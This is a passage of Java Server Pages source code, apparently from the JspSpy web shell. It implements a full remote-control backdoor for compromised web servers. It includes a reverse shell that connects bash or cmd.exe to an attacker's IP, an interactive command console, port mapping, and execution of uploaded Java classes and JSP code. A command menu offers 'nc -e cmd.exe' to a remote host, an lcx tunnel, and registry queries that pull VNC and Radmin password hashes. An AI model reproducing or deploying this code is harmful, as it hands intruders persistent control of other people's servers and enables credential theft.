									StreamConnector.readFromRemote(soc,remoteSoc,remoteIn,localOut);
								}catch(Exception ex)
								{								
									break;
								}
							}
						}
						
					}).start();
					JSession.setAttribute("done","Map Port Success!");
					JSession.setAttribute("localIP",localIP);
					JSession.setAttribute("localPort",localPort);
					JSession.setAttribute("remoteIP",remoteIP);
					JSession.setAttribute("remotePort",remotePort);
					JSession.setAttribute(SESSION_O,"vmp");
					response.sendRedirect(SHELL_NAME);
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		//VBackConnect
		private static class VbcInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					Object ip = JSession.getAttribute("ip");
					Object port = JSession.getAttribute("port");
					Object program = JSession.getAttribute("program");
					Object done = JSession.getAttribute("done");
					JSession.removeAttribute("ip");
					JSession.removeAttribute("port");
					JSession.removeAttribute("program");
					JSession.removeAttribute("done");
					if (Util.isEmpty(ip))
						ip = request.getRemoteAddr();
					if (Util.isEmpty(port) || !Util.isInteger(port.toString()))
						port = "53";
					if (Util.isEmpty(program)) {
						if (ISLINUX)
							program = "/bin/bash";
						else
							program = "cmd.exe";
					}
						
					if (!Util.isEmpty(done))
						Util.outMsg(out,done.toString());
					out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
					"<input type=\"hidden\" name=\"o\" value=\"backConnect\">"+
					"  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
					"  <tr>"+
					"    <td><h2 id=\"Bin_H2_Title\">Back Connect &gt;&gt;</h2>"+
					"      <div id=\"hOWTm\">"+
					"      <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
					"      <tr align=\"center\">"+
					"        <td style=\"width:5%\"></td>"+
					"        <td  align=\"center\">Your Ip :"+
					"          <input name=\"ip\" id=\"ip\" type=\"text\" class=\"input\" size=\"20\" value=\""+ip+"\" />"+
					"          Your Port :"+
					"          <input name=\"port\" id=\"port\" type=\"text\" class=\"input\" size=\"20\" value=\""+port+"\" />Program To Back :"+
					"          <input name=\"program\" id=\"program\" type=\"text\" value=\""+program+"\" class=\"input\" size=\"20\" value=\"d\" /></td>"+
					"      </tr>"+
					"      <tr align=\"center\">"+
					"        <td colspan=\"2\"><br/>"+
					"          <input type=\"submit\" name=\"FJE\" value=\"Connect\" id=\"FJE\" class=\"bt\" />"+
					"    </td>"+
					"    </tr>"+
					"	</table>"+
					"    </div>"+
					"</td>"+
					"</tr>"+
					"</table>"+
					"</form>");
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class BackConnectInvoker extends DefaultInvoker {
			public boolean doAfter(){return false;}
			public boolean doBefore(){return false;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					String ip = request.getParameter("ip");
					String port = request.getParameter("port");
					String program = request.getParameter("program");
					if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port))
						return;
					Socket socket = new Socket(ip,Integer.parseInt(port));
					Process process = Runtime.getRuntime().exec(program);
					(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
					(new StreamConnector(process.getErrorStream(), socket.getOutputStream())).start();
					(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
					JSession.setAttribute("done","Back Connect Success!");
					JSession.setAttribute("ip",ip);
					JSession.setAttribute("port",port);
					JSession.setAttribute("program",program);
					JSession.setAttribute(SESSION_O,"vbc");
					response.sendRedirect(SHELL_NAME);
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class JspEnvInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
					"      <tr>"+
					"        <td><h2 id=\"Ninty_H2_Title\">System Properties &gt;&gt;</h2>"+
					"          <div id=\"ghaB\">"+
					"            <hr/>"+
					"            <ul id=\"Ninty_Ul_Sys\" class=\"info\">");
					Properties pro = System.getProperties();
					Enumeration names = pro.propertyNames();
					while (names.hasMoreElements()){
						String name = (String)names.nextElement();
						out.println("<li><u>"+Util.htmlEncode(name)+" : </u>"+Util.htmlEncode(pro.getProperty(name))+"</li>");
					}
					out.println("</ul><h2 id=\"Ninty_H2_Mac\">System Environment &gt;&gt;</h2><hr/><ul id=\"Ninty_Ul_Sys\" class=\"info\">");
					/*
					Map envs = System.getenv();
					Set<Map.Entry<String,String>> entrySet = envs.entrySet();
					for (Map.Entry<String,String> en:entrySet) {
						out.println("<li><u>"+Util.htmlEncode(en.getKey())+" : </u>"+Util.htmlEncode(en.getValue())+"</li>");
					}*/
					out.println("</ul></div></td>"+
					"      </tr>"+
					"    </table>");
				} catch (Exception e) {

					throw e ;
				}
			}
		}
		private static class ReflectInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					String c = request.getParameter("Class");
					Class cls = null;
					try {
						if (!Util.isEmpty(c))
							cls = Class.forName(c);
					} catch (ClassNotFoundException ex) {
						Util.outMsg(out,"<span style='color:red'>Class "+c+" Not Found ! </span>");
					}
					out.println("<form action=\""+SHELL_NAME+"\" id='refForm' method=\"post\">"+
								"  <input type=\"hidden\" name=\"o\" value=\"reflect\">"+
								"  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
								"    <tr>"+
								"      <td><h2 id=\"Bin_H2_Title\">Java Reflect &gt;&gt;</h2>"+
								"          <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
								"            <tr>"+
								"              <td>Class Name : <input name=\"Class\" type=\"text\" class=\"input\" value=\""+(Util.isEmpty(c) ? "java.lang.Object" : c)+"\" size=\"60\"/> "+
								"              <input type=\"submit\" class=\"bt\" value=\"Reflect\"/></td>"+
								"            </tr>"+
								"            "+
								"          </table>"+
								"        </td>"+
								"    </tr>"+
								"  </table>"+
								"</form>");
					
					if (cls != null) {
						StringBuffer sb = new StringBuffer();
						if (cls.getPackage() != null)
							sb.append("package "+cls.getPackage().getName()+";\n");
						String n = null;
						if (cls.isInterface())
							n = "";
						//else if (cls.isEnum())
						//	n = "enum";
						else
							n = "class";
						sb.append(Modifier.toString(cls.getModifiers())+" "+n+" "+cls.getName()+"\n");
						if (cls.getSuperclass() != null)
							sb.append("\textends <a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+cls.getSuperclass().getName()+"';document.forms['refForm'].submit()\" style='color:red;'>"+cls.getSuperclass().getName()+"</a>\n");
						if (cls.getInterfaces() != null && cls.getInterfaces().length != 0) {
							Class[] faces = cls.getInterfaces();
							sb.append("\t implements ");
							for (int i = 0;i<faces.length;i++) {
								sb.append("<a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+faces[i].getName()+"';document.forms['refForm'].submit()\" style='color:red'>"+faces[i].getName()+"</a>");
								if (i != faces.length -1) {
									sb.append(",");
								}
							}
						}
						sb.append("{\n\t\n");
						sb.append("\t//constructors..\n");
						Constructor[] cs = cls.getConstructors();
						for (int i = 0;i<cs.length;i++) {
							Constructor cc = cs[i];
							sb.append("\t"+cc+";\n");
						}
						sb.append("\n\t//fields\n");
						Field[] fs = cls.getDeclaredFields();
						for (int i =0;i<fs.length;i++) {
							Field f = fs[i];
							sb.append("\t"+f.toString()+";");
							if (Modifier.toString(f.getModifiers()).indexOf("static") != -1) {
								sb.append("\t//value is : ");
								f.setAccessible(true);
								Object obj = f.get(null);
								sb.append("<span style='color:red'>");
								if (obj != null)
									sb.append(obj.toString());
								else
									sb.append("NULL");
								
								sb.append("</span>");
							} 
							sb.append("\n");
						}
						
						sb.append("\n\t//methods\n");
						Method[] ms = cls.getDeclaredMethods();
						for (int i =0;i<ms.length;i++) {
							Method m = ms[i];
							sb.append("\t"+ m.toString()+";\n");
						}
						sb.append("}\n");
						String m = "<span style='font-weight:normal'>"+Util.highLight(sb.toString()).replaceAll("\t","&nbsp;&nbsp;&nbsp;&nbsp;").replaceAll("\n","<br/>")+"</span>";
						Util.outMsg(out,m,"left");
					}
				} catch (Exception e) {
					throw e;
				}
			}
		}
		private static class TopInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" name=\"doForm\"></form>"+
					"<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"+
					"	<tr class=\"head\">"+
					"		<td><span style=\"float:right;\"><a href=\"http://www.forjj.com\" target=\"_blank\">JspSpy Ver: 2009 Private </a></span>"+request.getHeader("host")+" (<span id='ip'>"+InetAddress.getLocalHost().getHostAddress()+"</span>) | <a href=\"javascript:if (!window.clipboardData){alert('only support IE!');}else{void(window.clipboardData.setData('Text', document.getElementById('ip').innerText));alert('ok')}\">copy</a></td>"+
					"	</tr>"+
					"	<tr class=\"alt1\">"+
					"		<td><a href=\"javascript:doPost({o:'logout'});\">Logout</a> | "+
					"			<a href=\"javascript:doPost({o:'fileList'});\">File Manager</a> | "+
					"			<a href=\"javascript:doPost({o:'vConn'});\">DataBase Manager</a> | "+
					"			<a href=\"javascript:doPost({o:'vs'});\">Execute Command</a> | "+
					"			<a href=\"javascript:doPost({o:'vso'});\">Shell OnLine</a> | "+
					"			<a href=\"javascript:doPost({o:'vbc'});\">Back Connect</a> | "+
					"			<a href=\"javascript:doPost({o:'reflect'});\">Java Reflect</a> | "+
					"			<!--<a href=\"javascript:alert('not support yet');\">Http Proxy</a> | -->"+
					"			<a href=\"javascript:doPost({o:'ev'});\">Eval Java Code</a> | "+
					"			<a href=\"javascript:doPost({o:'vPortScan'});;\">Port Scan</a> | "+
					"			<a href=\"javascript:doPost({o:'vd'});\">Download Remote File</a> | "+
					"			<a href=\"javascript:;doPost({o:'clipboard'});\">ClipBoard</a> | "+
					"			<a href=\"javascript:doPost({o:'vmp'});\">Port Map</a> | "+
					"			<a href=\"javascript:doPost({o:'vother'});\">Others</a> | "+
					"			<a href=\"javascript:doPost({o:'jspEnv'});\">JSP Env</a> "+
					"	</tr>"+
					"</table>");
					if (JSession.getAttribute(MSG) != null) {
						Util.outMsg(out,JSession.getAttribute(MSG).toString());
						JSession.removeAttribute(MSG);
					} 
					if (JSession.getAttribute(ENTER_MSG) != null) {
						String outEntry = request.getParameter("outentry");
						if (Util.isEmpty(outEntry) || !outEntry.equals("true"))
							Util.outMsg(out,JSession.getAttribute(ENTER_MSG).toString());
					} 
									} catch (Exception e) {

					throw e ;
				}
			}
		}
		private static class VOnLineShellInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
						PrintWriter out = response.getWriter();
						out.println("<script>"+
						"				function $(id) {"+
						"					return document.getElementById(id);"+
						"				}"+
						"				var ie = window.navigator.userAgent.toLowerCase().indexOf(\"msie\") != -1;"+
						"				window.onload = function(){"+
						"					setInterval(function(){"+
						"						if ($(\"autoscroll\").checked)"+
						"						{"+
						"							var f = window.frames[\"echo\"];"+
						"							if (f && f.document && f.document.body)"+
						"							{"+
						"								if (!ie)"+
						"								{"+
						"									if (f.document.body.offsetHeight)"+
						"									{"+
						"										f.scrollTo(0,parseInt(f.document.body.offsetHeight)+1);"+
						"									}"+
						"								} else {"+
						"									f.scrollTo(0,parseInt(f.document.body.scrollHeight)+1);"+
						"								}"+
						"							}"+
						"						}"+
						"					},500);"+
						"				}"+
						"			</script>");
						out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
						"  <tr>"+
						"    <td>");
						out.println("<h2>Shell OnLine &raquo;</h2><br/>");
						out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" target=\"echo\" onsubmit=\"$('cmd').focus()\">"+
						"			<input type=\"submit\" value=\" start \" class=\"bt\">"+
						"				<input type=\"text\" name=\"exe\" style=\"width:300px\" class=\"input\" value=\""+(ISLINUX ? "/bin/bash" :"c:\\windows\\system32\\cmd.exe")+"\"/>"+
						"				<input type=\"hidden\" name=\"o\" value=\"online\"/><input type=\"hidden\" name=\"type\" value=\"start\"/><span class=\"tip\">Notice ! If You Are Using IE , You Must Input Some Commands First After You Start Or You Will Not See The Echo</span>"+
						"			</form>"+
						"			<hr/>"+
						"				<iframe class=\"secho\" name=\"echo\" src=\"\">"+
						"				</iframe>"+
						"				<form action=\""+SHELL_NAME+"\" method=\"post\" onsubmit=\"this.submit();$('cmd').value='';return false;\" target=\"asyn\">"+
						"					<input type=\"text\" id=\"cmd\" name=\"cmd\" class=\"input\" style=\"width:75%\">"+
						"					<input name=\"o\" id=\"o\" type=\"hidden\" value=\"online\"/><input type=\"hidden\" id=\"ddtype\" name=\"type\" value=\"ecmd\"/>"+
						"					<select onchange=\"$('cmd').value = this.value;$('cmd').focus()\">"+
						"						<option value=\"\" selected> </option>"+
						"						<option value=\"uname -a\">uname -a</option>"+
						"						<option value=\"cat /etc/issue\">issue</option>"+
						"						<option value=\"cat /etc/passwd\">passwd</option>"+
						"						<option value=\"netstat -an\">netstat -an</option>"+
						"						<option value=\"net user\">net user</option>"+
						"						<option value=\"tasklist\">tasklist</option>"+
						"						<option value=\"tasklist /svc\">tasklist /svc</option>"+
						"						<option value=\"net start\">net start</option>"+
						"						<option value=\"net stop policyagent /yes\">net stop</option>"+
						"						<option value=\"nbtstat -A IP\">nbtstat -A</option>"+
						"						<option value='reg query \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v \"PortNumber\"'>reg query</option>"+
						"						<option value='reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" /v \"Parameter\"'>radmin hash</option>"+
						"						<option value='reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4\" /v \"password\"'>vnc hash</option>"+
						"						<option value=\"nc -e cmd.exe 192.168.230.1 4444\">nc</option>"+
						"						<option value=\"lcx -slave 192.168.230.1 4444 127.0.0.1 3389\">lcx</option>"+
						"						<option value=\"systeminfo\">systeminfo</option>"+
						"						<option value=\"net localgroup\">view groups</option>"+
						"						<option value=\"net localgroup administrators\">view admins</option>"+
						"					</select>"+
						"					<input type=\"checkbox\" checked=\"checked\" id=\"autoscroll\">Auto Scroll"+
						"					<input type=\"button\" value=\"Stop\" class=\"bt\" onclick=\"$('ddtype').value='stop';this.form.submit()\">"+
						"				</form>"+
						"			<iframe style=\"display:none\" name=\"asyn\"></iframe>"
						);
						out.println("    </td>"+
						"  </tr>"+
						"</table>");
				} catch (Exception e) {
					throw e ;
				}
			}
		}
		private static class OnLineInvoker extends DefaultInvoker {
			public boolean doBefore(){return false;}
			public boolean doAfter(){return false;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
						String type = request.getParameter("type");
						if (Util.isEmpty(type))
							return;
						if (type.toLowerCase().equals("start")) {
							String exe = request.getParameter("exe");
							if (Util.isEmpty(exe))
								return;
							Process pro = Runtime.getRuntime().exec(exe);
							ByteArrayOutputStream outs = new ByteArrayOutputStream();
							response.setContentLength(100000000);
							response.setContentType("text/html;charset="+System.getProperty("file.encoding"));
							OnLineProcess olp = new OnLineProcess(pro);
							JSession.setAttribute(SHELL_ONLINE,olp);
							new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start();
							new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start();
							new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();
							Thread.sleep(1000 * 60 * 60 * 24);
						} else if (type.equals("ecmd")) {
							Object o = JSession.getAttribute(SHELL_ONLINE);
							String cmd = request.getParameter("cmd");
							if (Util.isEmpty(cmd))
								return;
							if (o == null)
								return;
							OnLineProcess olp = (OnLineProcess)o;
							olp.setCmd(cmd);
						} else {
							Object o = JSession.getAttribute(SHELL_ONLINE);
							if (o == null)
								return;
							OnLineProcess olp = (OnLineProcess)o;
							olp.stop();
						}
				} catch (Exception e) {
					
					throw e;
				}
			}
		}
		private static class EnterInvoker extends DefaultInvoker {
			public boolean doBefore(){return false;}
			public boolean doAfter(){return false;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				PrintWriter out = response.getWriter();
				String type = request.getParameter("type");
				if (!Util.isEmpty(type)) {
					JSession.removeAttribute(ENTER);
					JSession.removeAttribute(ENTER_MSG);
					JSession.removeAttribute(ENTER_CURRENT_DIR);
					JSession.setAttribute(MSG,"Exit File Success ! ");
				} else {
					String f = request.getParameter("filepath");
					if (Util.isEmpty(f))
						return;
					JSession.setAttribute(ENTER,f);
					JSession.setAttribute(ENTER_MSG,"You Are In File <a style='color:red'>\""+f+"\"</a> Now ! <a href=\"javascript:doPost({o:'enter',type:'exit'})\"> Exit </a>");
				}
				response.sendRedirect(SHELL_NAME);
			}
		}
		private static class VExport2FileInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				PrintWriter out = response.getWriter();
				String type = request.getParameter("type");
				String sql = request.getParameter("sql");
				String table = request.getParameter("table");
				if (Util.isEmpty(sql) && Util.isEmpty(table)) {
					JSession.setAttribute(SESSION_O,"vConn");
					response.sendRedirect(SHELL_NAME);
					return;
				}
				out.println("<form action=\"\" method=\"post\">"+
							"<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
							"  <tr>"+
							"    <td>"+
							"    <input type=\"hidden\" name=\"o\" value=\"export\"/>"+
							"    <input type=\"hidden\" name=\"type\" value=\""+(Util.isEmpty(type) ? "" : type)+"\"/>"+
							"    <input type=\"hidden\" name=\"sql\" value=\""+(Util.isEmpty(sql) ? "" : sql.replaceAll("\"","&quot;"))+"\"/>"+
							"    <input type=\"hidden\" name=\"table\" value=\""+(Util.isEmpty(table) ? "" : table)+"\"/>"+
							"    <h2>Export To File &raquo;</h2>"+
							"        "+
							"    <hr/>Export \"<span style='color:red;font-weight:bold'>"+(Util.isEmpty(sql) ? table : sql.replaceAll("\"","&quot;"))+"</span>\" To File : <input type=\"text\" style=\"font-weight:bold\" name=\"filepath\" value=\""+(JSession.getAttribute(CURRENT_DIR).toString()+"/exportdata.txt")+"\" size=\"100\" class=\"input\"/> <input type=\"submit\" class=\"bt\" value=\"Export\"/><br/><br/>"+BACK_HREF+"</td>"+
							"        </tr>"+
							"      </table>"+
							"</form>");
			}
		}
		
		private static class ExportInvoker extends DefaultInvoker {
			public boolean doBefore(){return false;}
			public boolean doAfter(){return false;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				String type = request.getParameter("type");
				String filepath = request.getParameter("filepath");
				String sql = null;
				DBOperator dbo = null;
				dbo = (DBOperator)JSession.getAttribute(DBO);

				if (Util.isEmpty(type)) {
					//table export
					String tb = request.getParameter("table");
					if (Util.isEmpty(tb))
						return;
					String s = dbo.getConn().getMetaData().getIdentifierQuoteString();
					sql = "select * from "+s+tb+s;
					
				} else if (type.equals("queryexp")) {
					//query export
					sql = request.getParameter("sql");
					if (Util.isEmpty(sql)) {
						JSession.setAttribute(SESSION_O,"vConn");
						response.sendRedirect(SHELL_NAME);
						return;
					}
				}
				Object o = dbo.execute(sql);
				ByteArrayOutputStream bout = new ByteArrayOutputStream(); 
				byte[] rowSep = "\r\n".getBytes();
				if (o instanceof ResultSet) {
					ResultSet rs = (ResultSet)o;
					ResultSetMetaData meta = rs.getMetaData();
					int count = meta.getColumnCount();
					for (int i =1;i<=count;i++) {
						String colName = meta.getColumnName(i)+"\t";
						byte[] b = colName.getBytes();
						bout.write(b,0,b.length);
					}
					bout.write(rowSep,0,rowSep.length);
					while (rs.next()) {
						for (int i =1;i<=count;i++) {
								String v = null;
								try {
									v = rs.getString(i);
								} catch (SQLException ex) {
									v = "<<Error!>>";
								}
								v += "\t";
								byte[] b = v.getBytes();
								bout.write(b,0,b.length);
						}
						bout.write(rowSep,0,rowSep.length);
					}
					rs.close();
					ByteArrayInputStream input = new ByteArrayInputStream(bout.toByteArray());
					BufferedOutputStream output = null;
					if (!Util.isEmpty(filepath)) {
						//export2file
						output = new BufferedOutputStream(new FileOutputStream(new File(filepath)));
					} else {
						//download.
						response.setHeader("Content-Disposition","attachment;filename=DataExport.txt");
						output = new BufferedOutputStream(response.getOutputStream());
					}
					byte[] data = new byte[1024];
					int len = input.read(data);
					while (len != -1) {
						output.write(data,0,len);
						len = input.read(data);
					}
					bout.close();
					input.close();
					output.close();
					if (!Util.isEmpty(filepath)) {
						JSession.setAttribute(MSG,"Export To File Success !");
						response.sendRedirect(SHELL_NAME);
					}
				} 
			}
		}
		private static class EvalInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				String type = request.getParameter("type");
				PrintWriter out = response.getWriter();
				Object msg = JSession.getAttribute(MSG);
				if (msg != null) {
					Util.outMsg(out,(String)msg);
					JSession.removeAttribute(MSG);
				}
				if (Util.isEmpty(type)) {
					out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
					"  <tr>"+
					"    <td><h2>Eval Java Code &raquo;</h2>"+
					"<hr/>"+
					"      <p>"+
					"      <form action=\""+SHELL_NAME+"?o=eu\" method=\"post\"  enctype=\"multipart/form-data\">"+
					"UpLoad a Class File : ");
					Util.outMsg(out,"<pre>"+
					"<span style='color:blue'>public class</span> SpyEval{\r\n"+
					"	<span style='color:blue'>static</span> {\r\n"+
					"		<span style='color:green'>//Your Code Here.</span>\r\n"+
					"	}\r\n"+
					"}\r\n"+
					"</pre>","left");
					out.println(" <input class=\"input\" name=\"file\" type=\"file\"/> <input type=\"submit\" class=\"bt\" value=\" Eval \"></form><hr/>"+
					"      <form action=\""+SHELL_NAME+"\"  method=\"post\"><p></p>Jsp Eval : <br/>"+
					"      <input type=\"hidden\" name=\"o\" value=\"ev\"><input type=\"hidden\" name=\"type\" value=\"jsp\">"+
					"      <textarea name=\"jspc\" rows=\"15\" cols=\"70\">"+URLDecoder.decode("%3C%25%40page+pageEncoding%3D%22utf-8%22%25%3E%0D%0A%3C%25%0D%0A%2F%2Fyour+code+here.%0D%0Aout.println%28%22create+a+jsp+file+then+include+it+%21+by++ninty%22%29%3B%0D%0A%25%3E","utf-8")+"</textarea>"+
					"      <br/><input class=\"bt\" name=\"button\" id=\"button\" value=\"Eval\" type=\"submit\" size=\"100\"  />"+
					"      </form>"+
					"      </p>"+
					"    </td>"+
					"  </tr>"+
					"</table>");
				} else if (type.equals("jsp")){
					String jspc = request.getParameter("jspc");
					if (Util.isEmpty(jspc))
						return;
					File f = new File(SHELL_DIR,"evaltmpninty.jsp");
					BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f),"utf-8"));
					writer.write(jspc,0,jspc.length());
					writer.flush();
					writer.close();
					out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
					"  <tr>"+
					"    <td><h2>Jsp Eval Result &raquo;</h2>");
					out.println("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:left;font-weight:bold;margin:10px\">");
					request.getRequestDispatcher("evaltmpninty.jsp").include(request,response);
					out.println("</div><input type=\"button\" value=\" Back \" class=\"bt\" onclick=\"history.back()\"></td></tr></table> ");
					f.delete();
				}
			}
		}
		private static class EvalUploadInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				ByteArrayOutputStream stream = new ByteArrayOutputStream();
				UploadBean upload = new UploadBean();
				upload.setTargetOutput(stream);
				upload.parseRequest(request);
				
				if (stream.toByteArray().length == 2) {
					JSession.setAttribute(MSG,"Please Upload Your Class File ! ");
					((Invoker)ins.get("ev")).invoke(request,response,JSession);
					return;
				}
				SpyClassLoader loader = new SpyClassLoader();
				try {
					Class c = loader.defineClass(null,stream.toByteArray());
					c.newInstance();
				}catch(Exception e) {
				}
				stream.close();
				JSession.setAttribute(MSG,"Eval Java Class Done ! ");
				((Invoker)ins.get("ev")).invoke(request,response,JSession);
			}
		}
		private static class VOtherInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
						PrintWriter out = response.getWriter();
						Object msg = JSession.getAttribute(MSG);
						if (msg != null) {
							Util.outMsg(out,(String)msg);
							JSession.removeAttribute(MSG);
						}
						out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
									"    <tr>"+
									"      <td><h2 id=\"Bin_H2_Title\">Session Manager&gt;&gt;</h2><hr/>"+
									"        <div id=\"hOWTm\" style=\"line-height:30px\">"+
									"        <ul>");
						Enumeration en = JSession.getAttributeNames();
						while (en.hasMoreElements()) {
								Object o = en.nextElement();
								if (o.toString().equals(MSG))
									continue;
								out.println("<li><form action='"+SHELL_NAME+"' method='post'><u>"+o.toString()+"</u> <input type=\"text\" name=\"value\" class=\"input\" size=\"50\" value=\""+JSession.getAttribute(o.toString())+"\">");
								out.println("<input type='button' class='bt' value='Update' onclick=\"this.form.elements['type'].value='update';this.form.submit()\"> <input type='button' onclick=\"this.form.elements['type'].value='delete';this.form.submit()\" class='bt' value='Delete'/>");
								out.println("<input type='hidden' name='o' value='sm'/><input type='hidden' name='type'/>");
								out.println("<input type='hidden' name='name' value='"+o.toString()+"'/>");
								out.println("</form></li>");
						}
						out.println("<li style='list-style:none'><form action='"+SHELL_NAME+"' method='post'><fieldset>"+
									"<legend>New Session Attribute</legend>"+
									"name : <input type=\"text\" name=\"name\" value=\"\" class=\"input\"> value : <input type=\"text\""+
									" name=\"value\" class=\"input\"/> <input type='submit' value='Add' class='bt'><input type='hidden' name='o' value='sm'/><input type='hidden' name='type' value='update'>"+
									" </fieldset></form></li></ul></div></td>"+
									"    </tr>"+
									"  </table>");
				} catch (Exception e) {
					throw e ;
				}
			}
		}
		//Session Manager
		private static class SmInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
						String type = request.getParameter("type");
						PrintWriter out = response.getWriter();
						if (type.equals("update")) {
							String name = request.getParameter("name");
							String value = request.getParameter("value");
							JSession.setAttribute(name,value);
							JSession.setAttribute(MSG,"Update/Add Attribute Success !");
						} else if (type.equals("delete")) {
							String name = request.getParameter("name");
							JSession.removeAttribute(name);
							JSession.setAttribute(MSG,"Remove Attribute Success !");
						}
						((Invoker)ins.get("vother")).invoke(request,response,JSession);
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
	
	static{
		ins.put("script",new ScriptInvoker());
		ins.put("before",new BeforeInvoker());
		ins.put("after",new AfterInvoker());
		ins.put("deleteBatch",new DeleteBatchInvoker());
		ins.put("clipboard",new ClipBoardInvoker());
		ins.put("vPortScan",new VPortScanInvoker());
		ins.put("portScan",new PortScanInvoker());
		ins.put("vConn",new VConnInvoker());
		ins.put("dbc",new DbcInvoker());
		ins.put("executesql",new ExecuteSQLInvoker());
		ins.put("vLogin",new VLoginInvoker());
		ins.put("login",new LoginInvoker());
		ins.put("filelist", new FileListInvoker());
		ins.put("logout",new LogoutInvoker());
		ins.put("upload",new UploadInvoker());
		ins.put("copy",new CopyInvoker());
		ins.put("bottom",new BottomInvoker());
		ins.put("vCreateFile",new VCreateFileInvoker());
		ins.put("vEdit",new VEditInvoker());
		ins.put("createFile",new CreateFileInvoker());
		ins.put("vEditProperty",new VEditPropertyInvoker());
		ins.put("editProperty",new EditPropertyInvoker());
		ins.put("vs",new VsInvoker());
		ins.put("shell",new ShellInvoker());
		ins.put("down",new DownInvoker());
		ins.put("vd",new VdInvoker());
		ins.put("downRemote",new DownRemoteInvoker());
		ins.put("index",new IndexInvoker());
		ins.put("mkdir",new MkDirInvoker());
		ins.put("move",new MoveInvoker());
		ins.put("removedir",new RemoveDirInvoker());
		ins.put("packBatch",new PackBatchInvoker());
		ins.put("pack",new PackInvoker());
		ins.put("unpack",new UnPackInvoker());
		ins.put("vmp",new VmpInvoker());
		ins.put("vbc",new VbcInvoker());
		ins.put("backConnect",new BackConnectInvoker());
		ins.put("jspEnv",new JspEnvInvoker());
		ins.put("smp",new SmpInvoker());
		ins.put("mapPort",new MapPortInvoker());
		ins.put("top",new TopInvoker());
		ins.put("vso",new VOnLineShellInvoker());
		ins.put("online",new OnLineInvoker());
		ins.put("enter",new EnterInvoker());
		ins.put("export",new ExportInvoker());
		ins.put("ev",new EvalInvoker());
		ins.put("eu",new EvalUploadInvoker());
		ins.put("vother",new VOtherInvoker());
		ins.put("sm",new SmInvoker());
		ins.put("vExport",new VExport2FileInvoker());
		ins.put("vPack",new VPackConfigInvoker());
		ins.put("reflect",new ReflectInvoker());
		ins.put("portBack",new PortBackInvoker());
	}
%>
<%
	try {
		String o = request.getParameter("o");
		if (Util.isEmpty(o)) {
			if (session.getAttribute(SESSION_O) == null)
				o = "index";
			else {
				o = session.getAttribute(SESSION_O).toString();
				session.removeAttribute(SESSION_O);
			}
		}
		Object obj = ins.get(o);
		if (obj == null) {
			response.sendRedirect(SHELL_NAME);
		} else {
			Invoker in = (Invoker)obj;
			if (in.doBefore()) {
				String path = request.getParameter("folder");
				if (!Util.isEmpty(path) && session.getAttribute(ENTER) == null)
					session.setAttribute(CURRENT_DIR,path);
				((Invoker)ins.get("before")).invoke(request,response,session);
